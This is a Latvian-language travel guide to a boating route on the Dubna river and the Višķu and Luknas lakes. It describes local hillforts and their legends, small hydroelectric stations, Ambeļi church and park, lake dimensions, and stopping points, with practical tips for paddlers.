Ļāperu pilskalns ir savrups apaļš kalns, kas paceļas 28 m virs Dubnas līmeņa. Kalnam ir neliels viegli izliekts apaļš plakums apmēram 35 m diametrā. Divus metrus zemāk par plakuma malu visapkārt kalnam vietām redzama terase. Vēl viena terase atrodas dažus metrus zemāk par pirmo. Abas šīs terases vāji saglabājušās, jo senāk kalns ticis arts. Pilskalna zeme sastāv no smalkas smilts, kurā aug skujkoku mežs, kas nu jau ir pārņēmis visu pilskalnu.

Par Ļāperu pilskalnu stāsta vairākas teikas. Viena no tām ir par jaunavu, kas mājojusi kalnā. Viņa tur bijusi ieslodzīta un vēlējusies tikt no kalna projām. Reiz viņa iznākusi un prasījusi ļaudīm krelles, tad viņa kļūšot atkal brīva. Krellēm jābūt sevišķām-tām jābū divām un vienādām. Ja jaunavai kāds šādas krelles pasniegtu, viņa tiktu laukā no pilskalna. Tādas krelles neatradušās un jaunavai bijis jāpaliek pilskalnā. Tur viņa mājojot vēl tagad.

Cita teika stāsta, ka kalnā iekšā dzīvojis kāds augstmanis, kurš tur sargājis savu mantu. Reiz kara laikos viņš paņēmis savu mantu sakrāvis ratos un braucis projām. Rati bijuši aizjūgti diviem melniem zirgiem. Zirgi ierāvuši augstmani ar visu mantu ezeriņā, kas kalnam piekājē. Ezeriņš tagad esot aizaudzis.

Turpinot maršrutu pēc 2.2 km sasniedzam Šķīvišķu HES ūdenskrātuvi. Nobraucot pa ūdenskrātuvi apmēram 1,5 km esam nonākuši pie nākošā pilskalna-Greitas kalna. Nosaukuma „Greitas kalns” rašanos izskaidro dažādi. Viens no variantiem ir ka nosaukums cēlies no kādas teiksmainas milzu jaunavas Grietas, kas kalna uzbērumā esot aprakta, cits variants ir, ka „Greida”esot tas pats, kas valnis, uzbērums, krievu „grjada” Pēc Ernesta Brastiņa domām šis izskaidrojums liekas pieņemams, jo šo pilskalnu patiesi raksturo ap 70 m garš taisns uzbērums. Dubna ieskauj 30 m augsto pilskalnu no trijām pusēm. No upes neaizsargātajā pusē bijis ierīkots plats grāvis no kura dibena līdz uzbērumam ir 9-10 m. Pašreiz pilskans ir apaudzis ar mežu. Arī par Greitas kalnu ir sava teika. Reiz kādā vakarā ciema ļaudis redzējuši, ka pilskalnā atvērušies vārti. Vārtos mirdzējusi spoža gaisma. Gaismā stāvējusi slaika sieviete un tai blakām melni suņi. Pēc brīža vārti atkal aizvērušies un gaišums pazudis.

Vēl pēc 0,9 km nonākam pie HES aizsprosta. Šķīvišķu HES uzbūvēta 2001. gadā. Tā ir kaskādes augšējā HES, lejpusē ir DubeņecasHES, aiz tās-Galvānu HES. HES komplekss sastāv no monolīta dzelzsbetona pamatiem, uz kuriem ir no metāla konstrukcijām samontēta turbīnas kamera un ģeneratoru telpa ar plakansiksnu piedziņu, un virs tām konteinera tipa virsbūve ar elektroaparatūras iekārtu. Šo un arī abas pārējās kaskādes hidroelektrostacijas apsaimnieko SIA Novators. Kopumā maršrutā esam veikuši 37,0 km.

0.6 km aiz Šķīvišķu HES sākas Dubeņecas HES ūdenskrātuve un vēl pēc 0.74 km sasniedzam HES aizsprostu. Dubeņecas HES ir otrā šajā kaskādē, bet pirmā, kas 2000. gadā tika uzbūvēta.

0.47 km aiz Dubeņecas HES aizsprosta sākas trešā un pēdējā HES ūdenskrātuve. Šī ir Galvānu HES, kas jaunā vietā uzbūvēta 2001. gadā un ir ar vismazāko jaudu. Ja abu iepriekšējo HES jauda ir 450-500 kW katrai, tad Galvānu HES jauda ir uz pusi mazāka-250 kW.

Vasarās ir bijuši gadījumi, kad aiz šā HES aizsprosta iztek pavisam neliela ūdens urdziņa un tas var apgrūtināt turpmāko ūdenstūristu pārvietošanos. Ja laimējas pie HES nonākt ap pusdienas laiku, tad ir cerības, ka tiks atvērtas slūžas un ūdens daudzums būs pietiekošs, lai varētu normāli turpināt maršrutu. Parasti slūžu atvēršana notiek laika posmā no 13 00-14 00 .

Iepretīm aizsprostam labajā krastā ar mežu apaugušu var saskatīt Baranovskas pilskalnu, lai gan pagājušā gadsimta 20-30. gados kalns bija bez apauguma un tas tika laiksaimnieciski apstrādāts. Tā pat kā iepriekšējos divus pilskalnus arī šo pilskalnu pirmais izpētīja un aprakstīja Ernests Brastiņš.

Pēc sava izskata pilskalns ir savrups neliels kalns ar 7-10 m augstām kraujām malām. Tas atrodas citu kalnu ielejā un starp citiem apkārt esošajiem kalniem nezinātājam to grūti saskatīt un atšķirt. Kalna sāni jau dabiski ir bijuši pietiekoši stāvi, tādēļ papildus uzbērumi un citi darbi nav veikti. Tā kā pilskalns jau no seniem laikiem ticis arts, tad mītņu kārta ir slikti saglabājusies. Plakuma garums ir apmēram 50 m, bet platums uz pusi mazāks. Iespējams, ka pilskalns ticis apdzīvots jau akmens laikmetā. Teika vēsta, ka pilskalnā aprakta zelta nauda, un to naudu ir iespējams izrakt tikai Jāņu naktī. Agrākos laikos neesot bijusi neviena Jāņu nakts, kad vietējie iedzīvotāji nebūtu meklējuši šo aprakto zelta naudu.

Aiz Galvāna HES aizsprosta pēc nepilniem 0.5 km sasniedzam Ambeļu-Aglonas ceļa tiltu. Ejot pa ceļu D virzienā pēc nepilna kilometra var nokļūt Ambeļos.

Ambeļos var apskatīt nelielo katoļu baznīcu, kas celta 1888. gadā un Ambeļu parku. Parka platība ir 6,2 ha tā ierīkošana iesākta 18.gs.beigās, vēlāk restaurēts pēc G. Kūfalta projekta. Tas ir skaists ainavu parks starp diviem pakalniem, ielejā dīķis ar Mīlestības saliņu, pakalnā estrāde. Parkā aug 38 eksotu sugas.

Atgriežoties pie Dubnas turpinām maršrutu. Aiz tilta pēc 2.7 km sasniedzam Višķu ezeru. Kopumā maršrutā esam veikuši 42.5 km.

Nokļūstot Višķu ezerā, beidzot nav jāuztraucas par sakritušiem kokiem un citiem šķēršļiem.

Višķu ezers atrodas 99,3 m vjl. Tā platība ir 3,60 km2. Garums – 2,6 km, lielākais platums 1,9 km tikai šaura ceļa josla šķir no Luknas ezera. Vēl 20.gs 50.gados Višķu ezers bija savienots ar Dodkas ezeru no kura to tagad atdala purvaina sažmauga. Višķu ezera krasti ir lēzeni vai zemi, vietām stāvi. Krasta līniju izrobo vairākas pussalas, veidojot izlocītu trīsjomu ūdenstilpi, kas ZA galā sašaurinās. Pussalā ZA galā var apskatīt Višķu pilskalnu. Te ir arī laba peldvieta un nakšņošanas vieta. Tālāk, pašā ezera Z galā atrodas viesu māja „Višķezers”, kur var ērti pārnakšņot un nepieciešamības gadījumā vienoties par automašīnu atstāšanu.

Nokļuvuši ezerā virzāmies uz R pretīm tuvākajam krastam, kas ir ezera lielākā pussala. Tālāk gar pussalas krastu turpinām ceļu, līdz redzam tiltu pār Dubnu uz Višķu-Aglonas autoceļa. Šis Dubnas posms savieno Višķu ezeru ar Luknas ezeru. Ja nav vēlme turpināt maršrutu, šeit ir ērta vieta, lai piestātu krastā un ceļojumu beigtu. Brauciens pār ezeru ir 2 km garumā. Līdz tiltam kopumā maršrutā esam veikuši 44.5 km.

Iebraucot Luknas ezerā turamies pa labi un dodamies uz 450 m attālo atpūtas vietu ezera DA galā. Nakšņošanas vietu šeit nebūtu vēlams ieplānot, jo nedēļas nogalēs labos laika apstākļos šeit mēdz ierasties skaļas kompānijas. Tomēr uz brīdi te būtu vēlams piestāt un uzkāpt putnu novērošanas tornī. No tā paveras brīnišķīgi skati uz apkārtni-redzama majestātiskā Višķu katoļu baznīca, Višķu ezers, piekājē esošie Boltaru un Ostrovas ezeri un protams, pats Luknas ezers ar saviem līčiem un apkārtējo pauguraini. Arī šeit var beigt ieplānoto braucienu, jo šeit var ērti izkāpt un arī piebraukšana ar transportu nesagādā problēmas

Luknas ezera platība ir lielāka nekā Višķu ezeram un sastāda 4.09 km2. Lielākais garums sasniedz 5.3 km, platums ZR daļā-1.6 km. Ezera vidējais dziļums ir 2.4 m, bet dziļākā vieta 6.1 m.

Luknas ezera krasti ir lēzeni. A krasts ir stingrs, pārējie krasti staigni, krūmiem apauguši. Ezers līčains ZR daļa ir platāka vidū sašaurinājums, A daļa atkal platāka, bet ne tik plata kā ZR daļa. Vidus sašaurinājumā ir arī ezera dziļākā vieta. Krasta līnija 18.5 km gara.

Tālāk maršrutu turpinām pa Luknas ezeru R virzienā. Luknas ezera kreisais krasts ir biezi apdzīvots. Šeit atrodas Višķi, Višķu tehnikums un Špoģi. Skaista no ezera izskatās no šķeltajiem laukakmeņiem celtā Višķu katoļu baznīca. Labajā krastā manāmas Daniševskas vecticībnieku lūgšanu nams un Maskovskajas pareizticīgo baznīca, kas atrodas viena otrai cieši blakus.

Nobraukuši apmēram 4 km pa Luknas ezeru nonākam Dubnas iztekas sašaurinājumā. Vēl pēc 1.6 km nonākam pie Daugavpils-Rēzeknes šosejas tilta. Šeit arī mūsu ceļojuma pirmā daļa beidzas. Esam nonākuši Špoģu ciemā, kas ir Višķu pagasta centrs ar pagasta pārvaldes ēku, skolām un veikaliem. Netālu no tilta ir apskatāmi 2. pasaules kara brāļu kapi.

Kopumā maršrutā esam veikuši 50.5 km.

Šo maršrutu būtu ieteicams veikt pavasarī, jo tad ir augstāks ūdens līmenis un upe ir vieglāk izbraucama. Maršrutā ir bieži koku sakritumi, kurus pievarēt var laivas pār tiem velkot vai apnesot. Šis maršruts domāts ceļotājiem , kurus nebaida zināmas grūtības un neērtības, tomēr negaidīti piedzīvojumi un adrenalīns šajā maršrutā ir garantēti, tāpat kā gandarījums brīdī, kad jūs šo maršrutu būsiet veikuši. Vēlāk vēl ilgi citos ceļojumos pie ugunskura jūs varēsiet atcerēties un stāstīt šī brauciena piedzīvojumus.